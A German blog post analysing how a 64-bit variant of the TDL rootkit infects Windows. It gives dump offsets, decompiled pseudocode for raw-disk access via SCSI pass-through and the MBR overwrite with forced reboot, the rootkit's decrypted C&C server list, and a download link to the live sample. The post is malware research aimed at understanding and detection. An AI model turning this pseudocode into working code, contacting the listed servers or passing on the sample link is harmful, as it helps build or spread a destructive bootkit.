Malware Analyse: TDL Rootkit 64-Bit Infektion

Ich konnte mir eine neuere Version des TDL Rootkits besorgen und diese hat schon Unterstützung für 64-Bit Windows Betriebssysteme. Von dieser besonderen Version konnte man auch einiges bei News Seiten lesen (z.B. bei Computerbase), denn es ist in der Tat das erste massenhaft in Umlauf gebrachte Rootkit, das in der Lage ist die Rootkit Funktionen in einem 64-Bit Windows zu nutzen. Trotzdem sollte man sich nicht beirren lassen: 64-Bit Windows ist immer noch viel sicherer als das 32-Bit Pendant. Wer also die Wahl hat (ab 2 GB RAM und halbwegs aktuelle Hardware) sollte sich unbedingt für die 64-Bit Variante entscheiden!

Der 32-Bit Infektionsvorgang wurde nicht verändert es steht also alles schon in meinen anderen Blog Artikeln. Der PE Loader wurde auch kaum verändert, es ist also wirklich nur die 64-Bit Infektion neu und genau die wollen wir uns natürlich mal anschauen.
Ich habe wieder den PE Loader entfernt um den Kern besser analysieren zu können. Die Vorgehensweise war genau gleich. Wer es nachmachen will hier die neuen Offsets:

Kopier-Methode (hier dumpen): 00401722
Start als EXE: 0040247E CALL EBX
Start als DLL: 0040246E CALL EBX

Schauen wir uns mal die Hauptmethode an in Pseudocode:

BOOL startInstall(BOOL validDLL, HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if (!validDLL)
{
	GetTempPathW(0x104, &PathName);
	GetTempFileNameW(&PathName, 0, 0, &NewFileName);
	if (is64BitWindows()) //API: IsWow64Process
    {
      BOOl infectSuccess = startInfection(GetModuleHandleA(0));
	  //eigene Datei ins Temp Verzeichnis kopieren und self-delete
      copyToTempAndDelete(0);
      if (infectSuccess)
      {
		//hole Reboot Rechte
        if ( RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, 1, 0, var) >= 0 )
		{
          ExitWindowsEx(EWX_REBOOT|EWX_FORCEIFHUNG, 0); //erzwinge reboot
		}
      }
      ExitProcess(0);
    }
//32bit infection
}
//als dll ausgefuehrt
}

Das Rootkit greift bei 64-Bit Windows den MBR an, deshalb kommt bei erfolgreicher Infektion ein erzwungener Reboot am Ende. Wer also eine Datei ausführt und plötzlich wird Windows neugestartet, kann schon ziemlich sicher sein, dass er sich etwas eingefangen hat.
Schauen wir uns mal die startInfektion Methode (Offset 401A1A im Dump) an.

BOOL startInfection(DWORD var)
{
	//Speicher entschluesseln mit Methode 4019D8 und 401671
	snprintf(&var, 0xFFF, "%.*s", var, var); //PC ID gebaut
    snprintf(&var, 0xFFF, "%.*s", var, var); //C&C Server
	sscanf(&Dest, "%[^;];%[^;];%[^;];", &var, &var, &var);
	sscanf(&var, "%[^|]|%[^|]|%s", &var, &var, &var);
	snprintf(&var,0xFFF,"[main]\r\naid=%s\r\nsid=%s\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=%s\r\nwsrv=%s\r\npsrv=%s\r\n",&var,&var,&var,&var,&var);
	
	HANDLE fileHandle = getHandle();
	fileOperation(0x8, 0, fileHandle, 37, 1, var);  //lesen
	fileOperation(0x200, 0, fileHandle, 40, 1, var); //lesen aktueller MBR
	
	LPVOID space = VirtualAlloc(0, var, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); //neuer speicher
	
	//ideal um einzelne dateien zu dumpen, siehe adresse bei buffer
	//dateien werden verschluesselt in den neuen space geschrieben
	sub_4017C9(var, "cfg.ini", 0, space, buffer, var, var, 0x04FFFFFF);
	//ausgelesener MBR
	sub_4017C9(var, "mbr", 1, space, buffer, 0x200, var, 0x04FFFFFF);
	//loader 16, 32, 64 bit
	sub_4017C9(var, "ldr16", 2, space, buffer, 0x3C9, var, 0x04FFFFFF); 
	sub_4017C9(var, "ldr32", 3, space, buffer, 0xC3E, var, 0x04FFFFFF);
	sub_4017C9(var, "ldr64", 4, space, buffer, 0xE48, var, 0x04FFFFFF);
	//driver 32,64 bit
	sub_4017C9(var, "drv32", 5, space, buffer, var, var, 0x04FFFFFF);
	sub_4017C9(var, "drv64", 6, space, buffer, 0x5DEC, var, 0x04FFFFFF);
	//32bit dll UPX packed
	sub_4017C9(var, "cmd.dll", 7, space, buffer, var, var, 0x04FFFFFF);
	 //64bit dll MPRESS packed
	sub_4017C9(var, "cmd64.dll", 8, space, buffer, 0x3000, var, 0x04FFFFFF);
	sub_4017C9(var, "bckfg.tmp", 9, space, buffer, var, var, 0x04FFFFFF);
	
	//schreibe sonstige verschluesselte daten
	fileOperation(var, var, fileHandle, 42, 0, var);
	//schreibe Rootkit MBR
	return fileOperation(0x200, 0, fileHandle, 42, 0, var);
}

Die Methode startet recht langweilig. Am Anfang wird Speicher reserviert und ziemlich viel entschlüsselt. Die Methode bei 401671 ist für das Entschlüsseln zuständig. Interessant ist vor allem der 1. Parameter, den der zeigt auf den Speicherbereich der zu entschlüsseln ist. Danach werden mit snprintf und sscanf Strings manipuliert und gebaut u.a. auch die Konfigurationsdatei mit den TDL Servern. Interessant wird es als die Methode 401098 getHandle() aufgerufen wird:

HANDLE getHandle()
{
	GetWindowsDirectoryW(&Buffer, 0x104);
	// \\??\\C:
	if ( ZwOpenFile(phandle, SYNCHRONIZE, var, var, 7, 32) >= 0 ) 
	{
    if ( ZwDeviceIoControlFile(phandle, 0, 0, 0, var, IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS, 0, 0, var, 32) >= 0 )
    {
      snwprintf(&Dest, 0x103, L"\\??\\physicaldrive%d", v4);
      RtlInitUnicodeString(var, var);
	  // \\??\\physicaldrive0
      if (ZwOpenFile(&result, SYNCHRONIZE, var, var, 7, 32) < 0)
        result = 0;
    }
    ZwClose(phandle);
	}
	return result;
}

Diese Methode holt ein Datei Handle zu physicaldrive0. physicaldrive0 ist ein symbolischer Link zu \Device\Harddisk\DR0. Kurz gesagt, hier wird der Zugriff auf den MBR vorbereitet.

Kurz nach dieser Methode erfolgt auch schon die erste Leseoperation. Die Methode bei 401737 fileOperation() ist für Dateioperationen zuständig. Die Methode ist relativ klein, aber trotzdem sehr mächtig:

DWORD fileOperation(DWORD size, var, HANDLE fileHandle, var, UCHAR DataIn, DWORD buffer)
{
	SCSI_PASS_THROUGH_DIRECT swb;
	memset(&swb, 0, sizeof(swb));
	//fuelle struct
	ZwDeviceIoControlFile(fileHandle, 0, 0, 0, &IoStatusBlock, IOCTL_SCSI_PASS_THROUGH_DIRECT, var, 0x48, var, 0x48);
	return IoStatusBlock;
}

Um diese Methode zu verstehen muss man einiges in MSDN nachlesen. Es wird die Struktur SCSI_PASS_THROUGH_DIRECT genullt und dann mit den entsprechenden Werten gefüllt. Die Methode erlaubt lese und schreibe Operationen.
Bei den ersten 2 Aufrufen werden Leseoperationen ausgeführt. Der 2. Aufruf liest den momentanen MBR aus.
Danach wird mit VirtualAlloc neuer Speicher reserviert. Schließlich werden die Dateien (siehe Dateiname) in den neuen Speicher verschlüsselt geschrieben. Zum Verschlüsseln dient die Methode von vorhin 401671. Das ist ein sehr guter Zeitpunkt um die Dateien zu dumpen zur weiteren Analyse.
Anschließend folgen 2 Schreibeoperationen. Die erste schreibt die zuvor verschlüsselten Daten und die zweite überschreibt den aktuellen MBR mit dem von TDL. Wenn das alles erfolgreich war wird ein Wert größer Null zurückgeliefert und Windows wird, wie bereits oben beschrieben neu gestartet.

Die Config Datei ist mal wieder interessant mit den ganzen Serveradressen:

[main]
aid=30136
sid=0
[inject]
*=cmd.dll
*(x64)=cmd64.dll
[cmd]
srv=https://68b6b6b6.com/;https://61.61.20.132/;https://34jh7alm94.asia;https://61.61.20.135/;https://nyewrika.in/;https://rukkieanno.in/
wsrv=http://lk01ha71gg1.cc/;http://zl091kha644.com/;http://a74232357.cn/;http://a76956922.cn/;http://91jjak4555j.com/
psrv=http://cri71ki813ck.com/

Die cmd64.dll ist mit MPRESS gepackt, dieser Packer bietet leider keine eigene Unpack Option wie UPX, es ist aber ein Kinderspiel diese Datei manuell zu unpacken.

Die Vorgehensweise des MBR und der anderen Dateien werde ich hier nicht erläutern, das kann man mittlerweile in anderen Blogs von Antiviren-Herstellern nachlesen.

Schlusswort

Das Rootkit wird immer besser und gefährlicher. Ich bin schon sehr gespannt auf eine neue Version. Das Rootkit bietet auch noch sehr viel Verbesserungspotential z.B. ist es immer noch sehr einfach zu analysieren obwohl die Entwickler sicher wissen wie sie es schwerer machen könnten.
Wer erkennen möchte ob er sich das TDL eingefangen hat sollte am besten das TDSSKiller Tool von Kaspersky einsetzen: http://support.kaspersky.com/downloads/utils/tdsskiller.zip

Wer die neue Version des Rootkits selber mal anschauen möchte hier der Download (PW: infected): http://www.xup.in/dl,15799673/TDL_x64.rar/